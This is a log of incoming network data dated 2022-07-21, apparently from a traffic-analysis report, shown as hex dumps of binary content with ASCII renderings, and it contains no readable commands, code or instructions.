c6 5f 6f 0f 86 98 42 2f c3 64 84 0c ad bb 4d e8 dc 89 bf fe 9d 65 3e 4f 7c ea 9e 06 03 fe 03 66 63 46 a7 20 82 23 3e 67 d7 7a fe bf 9e a3 31 97 77 ce c7 32 fb 9c 5d a9 5e 6c Data Ascii: \|<6Eg\|3ikTS}#cXi c7M[ a{W+oKBK+mic[@59:TaknUo>&Ddi7/_u0{^JCpY^5+k2O_oB/dMe>O\|fcF #>gz1w2]^l
2022-07-21 02:34:52 UTC	8546	IN	Data Raw: 22 5e 36 65 27 4d 0d b4 a6 76 6a 8f 66 c2 49 e5 32 cc 15 e2 8f 52 a4 9f b3 e5 a8 b5 8f d9 d6 47 a2 4e ec d8 ec 65 c4 8d 4c ed a1 2c bc 47 97 6f bf 96 b2 be 58 7a 7e a9 f9 39 97 8d d2 46 62 49 0c 40 1c 9b 8f a5 69 62 f9 8e 1c 87 97 1f 6a 48 c1 80 b9 4f 1f d6 ab 90 66 5d af a3 c4 67 91 0e 45 d2 35 b1 da e0 df eb 51 87 ed 90 d2 77 06 49 f6 e3 9e a2 39 1c a0 71 db fd da 8b 11 79 96 3b de e1 55 98 32 b3 28 65 ea 02 07 03 ec 7a 30 71 7c 1c 87 b6 e4 fe 67 12 77 8c c9 7a 78 f8 ab a4 6a 77 35 94 7a 77 f9 3e bd 5c f8 54 fd be 22 0e 56 41 c2 ee 03 2b 09 9a 32 b6 91 1b d5 af 97 75 38 db 99 b3 cb 9d db bd 65 77 49 e3 c9 9c 46 ac be c5 db b9 bf 99 27 bd ea f0 73 c4 93 1f 11 3e 4e 44 b3 ef 41 21 d4 86 f5 1f 6c 5b 6a 69 6c 93 0e cf 9b 1e 3b 47 1b 46 a2 19 75 7e 17 d3 cf Data Ascii: "^6e'MvjfI2RGNeL,GoXz~9FbI@ibjHOf]gE5QwI9qy;U2(ez0q\|gwzxjw5zw>\T"VA+2u8ewIF's>NDA!l[jil;GFu~
2022-07-21 02:34:52 UTC	8554	IN	Data Raw: cb 04 f8 2f bb f5 a9 71 e5 d1 cf 95 2c ae d5 16 0f 6d 44 61 69 42 82 c7 c7 73 73 7e a5 0c e7 5b 5e 51 a6 37 6b 71 ab 8b 1b 2a d8 b8 aa ba 6f 3a 9a a8 8f 94 34 b8 37 ff 00 85 59 55 28 5a 37 04 21 db cb af d2 69 39 ec cf 96 e6 9d 4c 20 07 bb 78 8a 65 27 92 ab 22 92 1b c6 9a dc 5b b3 9b 5a c2 90 a2 18 8b 00 47 1b d2 d2 d1 e3 c3 66 41 75 bd e9 6a 6f 4d a2 6d 86 cd a6 a4 0a 5a 99 f2 60 e3 c9 8d 1b 46 a8 03 31 0c 49 e3 c3 96 8d 2d d0 c4 82 77 58 d9 49 60 0d f4 bf 0e 6f 45 1a 79 80 be 0e 44 f3 6c 01 cb b7 00 41 1a 51 aa f6 91 96 c6 b3 6d 61 66 5d 18 1a 7a 3d 9f 22 d9 4a dc 5a 8d 3b 5c 54 21 43 a8 d4 9b 53 2d 0f 21 cb 0d a6 d6 a0 e0 71 b3 bb 2a 28 b8 14 28 f7 6f ed 50 65 5e 79 dd fa 60 da ca 2d fb 54 f5 9f 5f 66 18 8e 0e dc b3 f4 e3 07 62 f0 66 d4 b3 7b 5f e4 a5 Data Ascii: /q,mDaiBss~[^Q7kqo:47YU(Z7!i9L xe'"[ZGfAujoMmZ`F1I-wXI`oEyDlAQmaf]z="JZ;\T!CS-!q((oPe^y`-T_fbf{_
2022-07-21 02:34:52 UTC	8570	IN	Data Raw: a3 c6 3b 4a 8d 6e 74 34 cb db 3e 4d 62 74 48 58 8a 06 66 b4 7c 6d cc c7 6e ea ce a6 e9 cc 8e c7 8b 8d 24 f8 19 32 9e a4 44 f3 20 dc 0f b3 ea d1 2a 7f b9 6e 74 43 23 b5 32 37 43 11 9a 54 b0 b1 23 5d 6a f5 7c f7 be 41 78 88 7d ae a4 ed b0 0d f0 f9 69 9b ac d8 f8 aa 77 a0 67 36 03 f4 7a 9a 9c 2f 92 71 a4 3b 8c 8c 0e d0 7c a2 9b 4d a2 b4 c8 c7 6c 77 67 7d 2d e0 3e ad 22 cf d5 89 12 6c 67 30 90 14 f0 a0 78 62 3c 62 d7 3b 85 97 52 7e 9a 22 af 4e 47 1f 55 c8 25 41 3a 5c f0 14 c5 b8 2f 46 28 8f 41 cd f4 bd d7 c6 92 77 7c 85 20 74 27 98 9d 3c 74 d2 9a c3 0e 4e ad a1 34 1e 35 d2 da 85 57 4b f8 5a 82 d6 c7 6f 78 93 aa 1c 1f 02 3c 69 15 eb 7c 0d 12 43 2c 65 b5 0c 34 a4 8b e1 90 bb 45 ca ff 00 4d 06 29 c7 32 8b 8f e8 a5 a5 f0 e8 4d a8 4b 5c 5c 5a 80 c0 b1 5f bb d4 52 Data Ascii: ;Jnt4>MbtHXf\|mn$2D *ntC#27CT#]j\|Ax}iwg6z/q;\|Mlwg}->"lg0xb<b;R~"NGU%A:\/F(Aw\| t'<tN45WKZox<i\|C,e4EM)2MK\\Z_R
2022-07-21 02:34:52 UTC	8586	IN	Data Raw: 59 50 46 fb 4a af 81 f1 a0 a4 07 f1 f2 a3 b3 47 a3 b0 2a 48 f8 11 b5 a9 62 bd 55 7b 14 1d 09 95 98 c7 76 1c a0 80 c3 ed d4 d6 1f 6d d8 bd 9b 0c 8f 22 c9 be 27 2e c0 fd d2 ed d8 47 a3 d9 ba b3 d7 34 f2 ff d0 f1 b1 e5 47 ff 00 ed 0b b8 1f 02 2b 8d cf 79 fd 14 7b 9f 72 c1 c9 2b 8f 81 86 d8 e2 50 34 76 f3 7f d3 5f 6d 4d 89 9c d9 e7 5a c4 ee 58 f8 bd 38 b2 22 bc 4b 65 22 e6 e4 7a f7 6d a8 b1 17 9b 7c c7 32 cf fa 84 46 2c 69 42 43 08 25 13 87 d5 5f 75 5c 82 78 be 7f 92 34 30 34 e4 96 02 e0 f8 eb 4d d1 28 ca 91 f4 1d b6 ee 98 9b 21 dd c3 ec 55 6a b0 5e d1 87 26 74 8d 03 11 12 94 dc cc e3 c4 79 13 d3 fb ca 56 a7 ab 82 4d d8 64 c6 55 9b 22 db 59 f6 29 06 f7 20 6e fd 5a 9d 67 fd cd f8 1e 1c 7c 62 4a 16 56 6d a4 d8 1b 51 6b 2e ad 71 f3 25 40 42 9d ec eb b4 29 e3 61 Data Ascii: YPFJG*HbU{vm"'.G4G+y{r+P4v_mMZX8"Ke"zm\|2F,iBC%_u\x404M(!Uj^&tyVMdU"Y) nZg\|bJVmQk.q%@B)a
2022-07-21 02:34:52 UTC	8593	IN	Data Raw: 80 5f 7d 02 87 9d f9 c7 b9 44 a0 62 77 09 da 5b d9 83 a2 2a 8b 7d 65 df bf e4 a9 39 bf 92 67 f3 df e6 88 35 39 20 8f 99 17 fc 34 1b db ff 00 f8 69 f9 c7 37 f3 07 e2 71 fb 93 2b cb 0e d6 52 aa 16 ea db 95 f9 57 d8 cb fb 75 51 3d 78 8f 27 d9 bf 2b 27 6d fc fa f1 db 6c 11 6f ca 8f 4d 36 30 fb b5 fa 88 f2 74 ff 00 ed d2 fc ab db f6 ea 5f e7 29 24 ee 05 4c a0 24 c7 22 76 02 d6 3d 35 db 14 3c de aa e7 eb a3 fa bc 31 9b d6 9b 0e 2c a8 1c a4 10 a8 8f a6 39 59 48 e5 67 dd eb 69 1e b9 fa f2 d7 8e 66 f9 4e 92 79 a2 53 34 6d cd e3 7d 6f f5 a8 92 37 bf 54 af 49 d8 a1 8e 4c 94 db 32 86 91 1f 4f 49 60 37 47 d2 59 3c db 24 a1 e7 f7 33 c0 5d aa 7c cc 67 90 ab ec b0 bd b8 de dc cd be 9e 32 eb 2b 98 1d e6 6e e0 26 47 66 11 29 0e 08 d1 81 f7 f4 ff 00 88 94 61 77 cc e4 28 e0 Data Ascii: _}Dbw[*}e9g59 4i7q+RWuQ=x'+'mloM60t_)$L$"v=5<1,9YHgifNyS4m}o7TIL2OI`7GY<$3]\|g2+n&Gf)aw(
2022-07-21 02:34:52 UTC	8609	IN	Data Raw: 1c c6 fc bb 9a b1 b3 bc 6b 66 1e 2c 34 ff 00 36 45 f6 d1 ec 2f d9 1c cc c4 ff 00 46 81 31 51 52 4c 99 08 66 20 f9 54 85 da 8a ff 00 35 39 44 be d7 53 7f 13 f8 76 dd 8e bb 1c 9e 65 3c c2 aa 56 96 6b b9 18 f0 f5 01 72 00 6d 4e df a6 a9 3c db f8 1f 19 25 c1 0d b6 1d db c6 dd fa e9 f5 3e 6a 45 72 91 8e 41 11 2a ea 6c 0e b7 b8 bd a9 34 b3 46 ff 00 56 94 31 65 44 55 3e 90 3f b5 42 67 13 0c 26 74 4e 56 65 50 b6 1b ac bf 45 24 7a e7 80 ce 6c 98 8a d2 40 85 55 87 c3 4e 7f 53 bd 38 b9 ce fc a6 a4 1b 42 b2 df 70 1e 3c 2a b1 a6 8c b2 18 c8 62 bb 9a f4 1f cb 52 e4 75 da ee 2e bc 2c 34 14 8b 31 d3 87 ba 10 14 f4 e3 2c 5f 5d 4f b7 f6 e8 d4 fb 79 64 e3 b4 2b bc d9 39 ad a9 d7 eb 6d a6 37 5d 8b b5 1c c9 64 48 a5 dc 10 16 bb 1d 80 81 fc bd de 67 a0 7b e0 d8 f1 76 fc 58 7a Data Ascii: kf,46E/F1QRLf T59DSve<VkrmN<%>jErAl4FV1eDU>?Bg&tNVePE$zl@UNS8Bp<bRu.,41,_]Oyd+9m7]dHg{vXz
2022-07-21 02:34:52 UTC	8625	IN	Data Raw: f2 58 9d a9 ea 5e 5f 6d 3b 0b c2 c6 17 e6 b4 75 97 33 35 11 b3 a4 b2 12 c9 bb 92 dc ad 1f b1 e8 47 5c ff 00 ea 8f 14 d1 ba 08 8f ef 01 1c e4 e9 6a 6a b2 a9 e3 65 4f 0c 32 c7 0e d6 8a 75 da cd 6d 7d cb f5 69 56 76 1a c8 87 b5 19 16 3c 59 5e 54 41 67 49 46 8c de ae 9b 72 ee a8 b4 ed b0 64 7c 44 89 4c 11 ac 64 37 2a ad ef 52 ce ed a0 c1 dd e3 9e 62 cc b6 d7 6d 9f 4d 7d 5c d4 f1 57 97 d9 7d e5 21 80 bf ad 5b 6e ba 02 6b 49 11 38 da 8c 82 4c c9 3a b1 b1 b3 30 50 2f c8 37 7b fd 14 ba 8d 6f 8f 0f 47 d9 30 a4 8a 39 63 83 1c 64 49 19 3b 96 e0 a9 5b 73 ac 7f dc 91 2b 2c ac ba de af f9 51 33 ff 00 2c ef c3 93 bb c2 db 63 42 07 48 a9 0d 66 f9 bd 35 af 3d 36 e7 ec fe 9a 91 24 25 23 05 f9 90 7f 4d 6d 2b 5d fc 01 3f 6b 32 21 97 14 f2 91 e5 3c 6e 7d b4 f4 e7 59 e2 a5 45 Data Ascii: X^_m;u35G\jjeO2um}iVv<Y^TAgIFrd\|DLd7*RbmM}\W}![nkI8L:0P/7{oG09cdI;[s+,Q3,cBHf5=6$%#Mm+]?k2!<n}YE
2022-07-21 02:34:52 UTC	8633	IN	Data Raw: 17 cc 5a 95 82 1d c4 67 05 a6 04 02 c7 90 5f 4f 9b f5 aa 71 37 f4 2f 2e 6f 5a 63 13 c0 03 d8 ee 16 e5 fa e9 55 22 e7 3e 37 42 8f b2 b4 73 a4 b3 5e 24 26 eb 63 7b 8f f0 d3 d3 bd f8 c3 b2 c5 89 8d 04 8c a7 a8 8a 40 60 bc 4b 1f 7e ea 8d 67 e6 d7 3f 17 82 20 72 53 a6 18 2e d2 89 66 61 e6 f9 a9 95 97 40 cd ed d8 d3 45 1c 91 7d d3 10 4b 26 b7 7f 6e cd d4 e2 a7 76 7c 95 c4 80 45 d6 11 31 4d 80 91 73 cc da aa 7d 5a 78 76 fe ae 63 e7 09 62 4c 2b ec 53 27 50 b1 17 3c a3 f8 94 48 76 65 f6 2f dd 33 99 a4 40 b2 b2 85 25 85 f5 f1 e4 fb 55 a4 87 c7 25 e5 ee 92 89 0c f9 63 a8 24 1c 5c 9f d7 e5 a7 22 a7 1f a0 11 99 33 5e 26 c5 06 f7 23 4f 87 bd ea b3 0f c4 f1 46 8b b1 64 77 63 24 71 01 68 54 bb 1d dc c4 7c be ea 3d b1 3f dc 9c ad 41 d0 ef 98 f8 98 06 25 8d 91 76 85 5f 39 Data Ascii: Zg_Oq7/.oZcU">7Bs^$&c{@`K~g? rS.fa@E}K&nv\|E1Ms}ZxvcbL+S'P<Hve/3@%U%c$\"3^&#OFdwc$qhT\|=?A%v_9
2022-07-21 02:34:52 UTC	8649	IN	Data Raw: af b7 87 0a a4 e5 1d e1 97 aa fd 06 21 40 b9 00 f1 fb 34 27 27 e4 a6 41 30 c7 d3 f5 6a 4f e8 f7 55 46 99 e5 ae c5 dd 67 58 a7 c6 57 b6 f8 ca 69 e2 a7 cc 94 b0 77 cc 9e 44 93 fd 2d bb 5b 63 ca af 16 72 90 54 5b d4 39 7f 79 fc b6 a0 79 f6 df e8 47 48 ac 2c c6 f4 6b 4a 3e 36 3a 75 51 9f 82 9b 8a 5a 56 f8 31 33 f5 52 63 20 54 97 cc 84 9f d8 db 54 98 8f 0b b3 a5 e6 1b 40 3c 69 b5 eb fc 03 77 1b ae 0e 87 c6 83 82 45 29 4b ed 36 a6 9c 6a 29 4b 38 2f a0 3a 54 e1 d8 a5 24 ad 0e 2a 47 18 bb 2b 1d 3e 2a 7c b5 0c f3 6b 87 ac d6 70 36 b1 3c 2a 4b c1 ec 4e e1 8f 02 3e e8 d4 d9 08 37 f7 1a a8 ce f3 53 72 65 82 f1 b2 5e c4 7f c2 a9 a4 87 31 95 24 81 a4 07 41 76 1a 6a 7e 56 a1 17 e5 dc 59 0e 42 48 9b 80 5b 6e 20 f0 e5 a0 ef 82 32 4a c6 45 46 b2 af 00 7c 28 57 f8 8b 95 82 Data Ascii: !@4''A0jOUFgXWiwD-[crT[9yyGH,kJ>6:uQZV13Rc TT@<iwE)K6j)K8/:T$G+>\|kp6<*KN>7Sre^1$Avj~VYBH[n 2JEF\|(W
2022-07-21 02:34:52 UTC	8665	IN	Data Raw: cf 80 1f 23 06 02 b0 47 07 51 ec 05 ef b5 2f f2 ed a7 57 25 ad 67 e4 9c b4 d8 90 ec b0 00 d8 9b 7d 75 a8 a7 cc 6b 34 f7 0e f1 24 43 25 c3 c7 08 e9 45 f1 d9 f3 37 ae 9d eb c3 a7 eb 92 d7 b8 ed 2e 98 38 e2 35 8c 21 00 03 61 c7 e6 ae 4e ae bd be 39 f0 1f 78 c7 86 62 0c ca 58 b6 9a 0f 87 a7 ed 54 ca ab 02 ed f9 2b 33 5a 38 9d 2d c7 70 f8 53 aa e5 51 ef b6 c3 42 78 eb 59 ae 79 0d 11 41 20 71 1e 34 1b b2 70 b7 1a a8 0a 65 9b 27 11 7a b8 8b 49 63 44 25 37 63 fd 55 7a cc cb 58 b2 8f 87 0a 8a b9 03 60 1a 62 6d 6b 50 6e 31 6b f2 8f d3 4f 08 39 16 ee 1d bc a6 9a 6b e5 41 ba eb 71 73 a5 16 9c 32 b1 dc 33 1d 0d c5 49 be 94 5c 6e a7 13 46 c2 43 63 61 72 6d fd 54 69 68 79 85 23 25 57 89 e3 fa 68 84 e4 4b 61 66 3f 46 b4 55 c3 90 a6 c2 2f af 88 a8 ab c0 65 73 d4 2c 2e 47 Data Ascii: #GQ/W%g}uk4$C%E7.85!aN9xbXT+3Z8-pSQBxYyA q4pe'zIcD%7cUzX`bmkPn1kO9kAqs23I\nFCcarmTihy#%WhKaf?FU/es,.G
2022-07-21 02:34:52 UTC	8673	IN	Data Raw: ed f4 fc b5 cf d5 7a 1f 5f 3e 07 c8 ed 98 b3 b1 76 dd bb 4b 00 6d 63 4b 71 af ab ec 3c 05 c5 5d 49 37 f8 f8 52 b7 57 26 0b 20 d3 8d 85 ef 49 58 eb 35 cf d1 f4 d0 01 9b 52 6f 61 a5 5c 85 48 85 2e f6 1e 6f 0b 55 b2 a1 94 65 7b 1b 8a 64 2c 82 ca 75 d7 e9 a9 58 84 a1 40 07 13 c6 91 83 70 b7 f8 d0 1a 45 33 80 14 6a 7e 9a 34 81 74 31 cc 6e 75 5d 05 32 a7 62 43 73 fa 34 a4 9d 6e 37 65 25 24 07 f4 8a 12 6e 4c be a4 76 b1 1b 46 86 9c 84 84 93 a5 df 78 27 e9 fa 6a d5 c8 81 49 4b 83 73 f4 54 d5 c5 15 2b 0c 57 07 98 d4 2e 27 ca c8 ad 67 37 66 d2 c2 83 c0 bb bb 63 98 1b 75 86 a0 28 1f 1a ae 62 3b 93 d6 eb cb 61 aa c3 39 5b 92 d6 f1 f0 37 e5 ae 87 99 21 dc dc 93 b3 a4 0d 9c 9b 90 28 c4 7d bd fa c4 d8 31 62 c8 9d 8c ac c5 80 17 03 52 4f a6 aa 47 93 df 55 f7 73 c4 11 63 Data Ascii: z_>vKmcKq<]I7RW& IX5Roa\H.oUe{d,uX@pE3j~4t1nu]2bCs4n7e%$nLvFx'jIKsT+W.'g7fcu(b;a9[7!(}1bROGUsc
2022-07-21 02:34:52 UTC	8689	IN	Data Raw: 7e 2a 46 bb 41 fd e4 5b aa 3a f0 3a b3 c7 ff 00 77 ef 56 fc c1 0c f2 74 e6 0a 36 98 d4 68 09 d1 47 4d 1a 4f 99 a9 4a cb 8b 27 82 dd 93 b0 c3 dc e1 cc ee 19 92 b4 50 e1 a0 da 56 dc d2 1f e1 f3 56 d3 e1 ad eb 3c 4f ea 2b da d7 1c cc c6 75 ea c6 23 6b 2d fc cc c3 93 9b e4 a2 17 5b 9f f2 0b 08 75 65 58 81 10 a2 b5 ae dc de 3e 4f 9e 9e ae f8 f2 a5 99 91 97 26 67 e0 62 90 2d d8 27 2d 95 0f f8 2a 2a 39 93 34 ce 56 0c d8 d1 48 f9 44 6e 46 b6 ba ee 6e 57 db 1b 37 27 27 9e a7 13 2c b7 c3 5d b6 0c 6c d8 e5 89 2f d6 0a b2 99 5a c3 68 5f df 6f db fc 3f 65 12 2f ad 25 99 09 c0 c9 e8 a4 86 48 56 4d eb 73 c7 cb cd b7 e6 aa 1b a4 3b 84 cd 34 8d 2b 1d 37 1b 78 69 e9 a7 21 48 58 b6 e8 99 cd af 1d 98 0a bc 69 3c 29 43 98 91 46 d9 d8 80 2f 26 dd a7 5f 3f 2c b4 aa 2c db eb 40 Data Ascii: ~FA[::wVt6hGMOJ'PVV<O+u#k-[ueX>O&gb-'-*94VHDnFnW7'',]l/Zh_o?e/%HVMs;4+7xi!HXi<)CF/&_?,,@
2022-07-21 02:34:52 UTC	8705	IN	Data Raw: cc 51 ba 5e 9a 53 9e 4a 5d f9 2b 82 d2 99 26 13 23 24 93 05 5b 11 6e 6d ca d4 2b af 8f 0e 77 5c 43 82 21 95 9c 07 91 4b 90 bc 00 2c dd 3f 2f c9 44 3e 7b f6 0e 0c 89 2e b3 ad ef 1f 90 ff 00 cd f6 a9 95 9f 86 de 6f c5 23 f5 41 66 62 48 b7 b8 fb a9 89 32 80 52 35 85 46 d2 24 37 b9 bd 26 93 cd 1b 14 23 af 39 b1 3a 03 53 69 d8 af 88 c7 b6 ab 05 29 32 b9 da 47 f6 5a a2 ae 5d 18 42 32 03 4c 96 4c 8e 20 0f 57 ba b3 ad 65 5d ec d0 ca 00 96 76 2f 31 d2 c7 5b 5e b1 ea bd 6f a3 eb 92 6a ce 1e 31 85 1b 73 1d cd c6 fe 15 8d ae ac 12 45 63 68 c3 1f d3 53 03 32 48 41 11 b7 0a 63 e1 85 7d ad 75 fd 14 03 0b cc 47 85 be 34 83 92 93 c2 fa fc 4d 51 52 f2 ed 45 b8 be ba 55 44 d2 93 f3 20 45 b8 b0 35 71 9d a4 23 d5 f6 68 6d e3 56 9f 96 c2 73 6a 40 1f 1a 2a a3 52 00 05 fc 3e 35 Data Ascii: Q^SJ]+&#$[nm+w\C!K,?/D>{.o#AfbH2R5F$7&#9:Si)2GZ]B2LL We]v/1[^oj1sEchS2HAc}uG4MQREUD E5q#hmVsj@*R>5
2022-07-21 02:34:52 UTC	8713	IN	Data Raw: 1c c0 92 7c fa 79 ab 8e df 6f 2e 4e 76 f9 ab b0 e3 63 f6 7e df 79 a1 09 24 a3 73 ea 7c df 56 b9 fa f2 cf 6f 55 25 73 60 ce c0 90 4e 11 c2 1e 50 bc 6d fc cf f1 d5 f3 17 66 75 e1 02 58 fa e4 63 e3 4c d2 c0 a3 77 49 af ca 7d 6a bd 4a e8 8b dc f9 fe 41 a1 2c ab 0c 37 dc 2f 6b 1f ee d1 60 b7 f3 57 a2 fc c7 9a 91 98 26 b3 33 ec 01 cf 10 17 d3 5c bd 7d 72 dd 44 93 e4 1f cd 33 64 e4 c9 16 5c 6b b5 81 0c db 4f 2b 05 b5 69 cf 32 17 d7 f1 95 57 b6 cb dd 72 4e 43 c3 8c e8 92 ae e3 b6 dc 3d 0e 9b bd 55 c9 dc 9f 11 7e 91 43 b4 a7 6f ce 89 9a 10 4e 44 26 d2 a3 0b 3f cd b9 6a 6e cf ff 00 27 fd 88 ea 54 0f cc 78 71 f7 3c b5 96 08 fa 25 17 61 36 00 7f cd b6 ba fe bf b3 4f 9f d9 1e 4f b9 f5 e2 54 85 8d d5 2e 01 1f 4d 75 73 5b 73 85 d6 79 14 5a e6 da 7f ba b6 3c 83 a6 73 10 Data Ascii: \|yo.Nvc~y$s\|VoU%s`NPmfuXcLwI}jJA,7/k`W&3\}rD3d\kO+i2WrNC=U~CoND&?jn'Txq<%a6OOT.Mus[syZ<s
2022-07-21 02:34:52 UTC	8729	IN	Data Raw: 0d 00 25 1a 92 69 c0 d3 11 aa db 85 38 9a 9e 63 d4 b0 e3 f0 ab 8c e8 e9 b9 10 92 74 02 99 86 8d bc 5c 1d 29 28 78 80 0b 62 34 35 20 ac 88 77 83 e1 4c d9 53 79 8e 97 b5 a9 90 d3 85 dc 00 f0 35 20 09 64 29 e4 3c 4f 0a b2 3d 8e c1 54 fe 8d 47 d1 50 70 b4 8c 62 90 30 b5 b5 d0 d5 c6 74 38 6e d2 f2 1f e8 a7 52 78 0d 8a 41 36 06 a1 50 68 61 21 ee 74 15 34 cf c1 37 11 bb 4b 78 d4 8b 35 9c d9 49 5b 1f 2f 85 a8 39 13 98 ae ed ca 6c 0f 81 a6 b7 66 76 58 19 94 02 da 5b 5b 50 6e 47 90 0e 3d 9b 47 f8 52 c3 85 d9 93 21 09 8c dc a2 ee 62 3e 15 48 ea a0 77 c9 a3 68 6e 17 98 5a cc 3c 6b 7e 63 83 fe c7 ee 79 ec 51 3a 4a 27 de 77 29 dd 5d 11 c3 d4 d1 72 a7 8d d8 34 8b 75 b9 62 07 c6 9b 3f 5c 2e f3 37 dd 26 cd c1 ef 6b fc 2f e5 a7 a8 f5 7d 92 ab 0c 85 07 0f 88 a7 28 2f 04 22 Data Ascii: %i8ct\)(xb45 wLSy5 d)<O=TGPpb0t8nRxA6Pha!t47Kx5I[/9lfvX[[PnG=GR!b>HwhnZ<k~cyQ:J'w)]r4ub?\.7&k/}(/"
2022-07-21 02:34:52 UTC	8745	IN	Data Raw: 1c 78 fc 45 55 5f 56 47 a1 ec 1d f5 fb 5e 14 b8 52 8b b3 1d c8 7f b6 b5 9f 53 5c ff 00 6f d7 ef 76 26 77 7e e7 f8 b6 2e a0 59 78 7f 4d 12 63 4e 38 c6 70 e7 58 a3 fc 51 bf 50 70 1e 06 a8 ec df 06 31 a5 7c c9 84 ca db 6d af f5 54 97 5f b6 2c f7 dc cc 3e d4 06 3e ee b6 58 21 99 c8 b5 83 7d e6 ca 24 67 cf 37 a7 91 ee f9 71 e6 e5 3c f1 ae d0 4e 80 56 b1 d3 c7 3e b3 00 8e 1d f6 04 da f5 4a d5 ec 49 a2 c0 ed ce 50 5e 46 7d bb be 1e aa 8a c2 cf 6a 1e 7c 2d 87 da 97 1d 35 79 98 4a f6 f6 ff 00 0b f6 68 87 cd f6 eb 4b f6 f6 8d 72 23 8a 5f dd b1 d4 fc 09 f2 d1 47 53 c6 b9 97 3b e2 cd 2c 0e 84 59 cf 2f 85 41 f3 ce f9 3b 8b de 25 8e 3e 90 dc 15 85 98 7d 14 ac 67 d7 10 e6 5f 6c 11 e2 47 90 85 8c 9b 89 24 fb 7d 34 91 cf 7e 7d 4a f5 83 48 aa dc 47 fb a9 9e 1c 8e 18 72 18 Data Ascii: xEU_VG^RS\ov&w~.YxMcN8pXQPp1\|mT_,>>X!}$g7q<NV>JIP^F}j\|-5yJhKr#_GS;,Y/A;%>}g_lG$}4~}JHGr
2022-07-21 02:34:52 UTC	8753	IN	Data Raw: f9 d9 88 eb eb f6 7b f9 bf 33 e3 e4 9f c1 a6 e9 43 a0 21 a2 17 b7 cb 5e 7f f6 ec f0 c6 4b 26 bc f1 ec f8 71 45 27 e2 a5 65 39 0e ca 9b 8e c5 d3 f8 9b 5b cb b6 ba 38 5d ea ef 87 9e c0 9f f0 24 c5 92 bb 9b 50 1d 4f 06 1e 46 ff 00 32 3a e8 69 dc f6 f3 0c f7 5c 83 dd 98 13 18 da 57 88 f8 81 57 22 38 9e a8 1f 84 18 ed bc de c6 b4 c7 4f b6 b1 14 a5 5c 95 f0 3c b4 60 b0 35 49 0b b3 29 e3 a9 a3 0c bc ad e0 d5 78 a6 37 fb 74 14 19 cc 4c 59 25 fb c4 b1 15 35 9f 57 0e 41 8a 23 62 25 1a f8 35 4e a3 e5 a9 a3 92 18 9e 58 ee d1 b1 1b ad ae a2 90 99 be 54 7f 2c e2 c5 9b 92 24 9d b6 10 39 43 0d 19 bc bf ad 58 7d 9d 62 3e db eb 3c 3d 6e 7f e5 ac 88 f0 72 31 cc bb 49 b3 80 45 86 cf 91 bd d5 c1 3e df 29 97 2c b8 f2 f9 2f 1e 1d b1 b2 03 58 8b 07 b1 37 b7 cd eb ae f9 75 72 6f Data Ascii: {3C!^K&qE'e9[8]$POF2:i\WW"8O\<`5I)x7tLY%5WA#b%5NXT,$9CX}b><=nr1IE>),/X7uro
2022-07-21 02:34:52 UTC	8769	IN	Data Raw: 8d 83 76 ea 8a c7 be b1 57 0b 13 b5 c5 1b 9d b2 64 cd 1d 98 9b d8 5f d7 cb f2 d6 56 6b 3e af 5f ed 4b c8 ce 8c c9 d6 8d 1a 29 43 5c 1b e9 6a 59 8d 27 23 76 ae cb 93 dd 63 64 88 59 83 1d ce 7d 37 f5 49 54 9e fb 9c a8 41 d8 bb 2c 4b b3 3b 38 4a e4 11 b2 31 a5 fe bd 36 77 be bf 40 a6 ee 4b d9 61 2d 85 88 ac f1 80 8a d2 1e a6 97 dd bb d9 cd 55 3c fc 9c e7 da f9 a0 77 0f cc 59 7d ca 08 a6 cc 81 52 e7 6e e5 52 a6 c7 d3 ba 8c c1 3e b9 2f ca 74 d9 0b 29 9c a9 37 52 8e bf a5 4f 4e 9b 49 33 02 c3 ca 5c 63 be 61 bd 1d b7 38 be a7 dc d4 cf a9 ed f1 fd 20 e7 26 3a ca f2 c0 b7 56 36 4b f8 5e 9c 3e 69 37 12 45 38 92 35 d9 65 b1 fe ae 6a af c3 59 96 79 3d 07 6f fc 6a 46 f1 06 2e a0 b3 5b 5e 1f e1 a8 f8 67 7a cf 07 65 c6 6c 18 db 24 48 15 f4 b8 f5 1a 9a cf 7d bc 1d 7f cb Data Ascii: vWd_Vk>_K)C\jY'#vcdY}7ITA,K;8J16w@Ka-U<wY}RnR>/t)7RONI3\ca8 &:V6K^>i7E85ejYy=ojF.[^gzel$H}
2022-07-21 02:34:52 UTC	8785	IN	Data Raw: dd d1 11 7c 22 4f 88 51 cf 58 16 2a 4d 88 d4 1b f9 36 d5 46 93 af d1 c7 ed fd 06 55 cb 46 8b a9 66 3b 81 04 2f ca bf 35 50 dd f8 61 a5 83 1d f9 37 48 07 a5 fe 83 41 49 68 8c a6 48 7a f1 94 50 ed 70 14 f3 25 23 9e 2e 12 9b 22 75 3b 77 5c 1b 6b 7e 34 d7 21 c8 f6 e0 ec 62 04 86 4b 91 ad ec 6f fc 5a 9b 11 fc 97 f1 fb 97 fa 7c 4c 99 30 de 16 3b b7 05 05 48 6e 46 5e 61 d3 e4 a8 4d e7 4e e3 91 da 59 8c 11 c6 0c a6 f1 bb 00 6e 87 f7 9c 8b c9 0f 5a 2f ba a2 54 7c bc 9b a9 c7 63 89 8e 00 76 7f 38 f0 5f 96 b4 d6 d3 cf 9a af 27 72 70 91 e3 c8 51 a1 8c 82 6d a3 49 f6 ea 2c 3e 79 df 29 d9 39 32 77 1c 81 d4 3b 50 1e 50 38 0b 54 fc 3a 79 e7 15 7b 67 69 0d 96 13 29 88 55 52 4d aa 7a e9 d7 f4 cd 55 79 71 7f 75 1a 14 89 4d 96 d7 b9 3f cc ac 5d 4a 3d bf 09 84 a7 25 cd c1 d1 Data Ascii: \|"OQX*M6FUFf;/5Pa7HAIhHzPp%#."u;w\k~4!bKoZ\|L0;HnF^aMNYnZ/T\|cv8_'rpQmI,>y)92w;PP8T:y{gi)URMzUyquM?]J=%
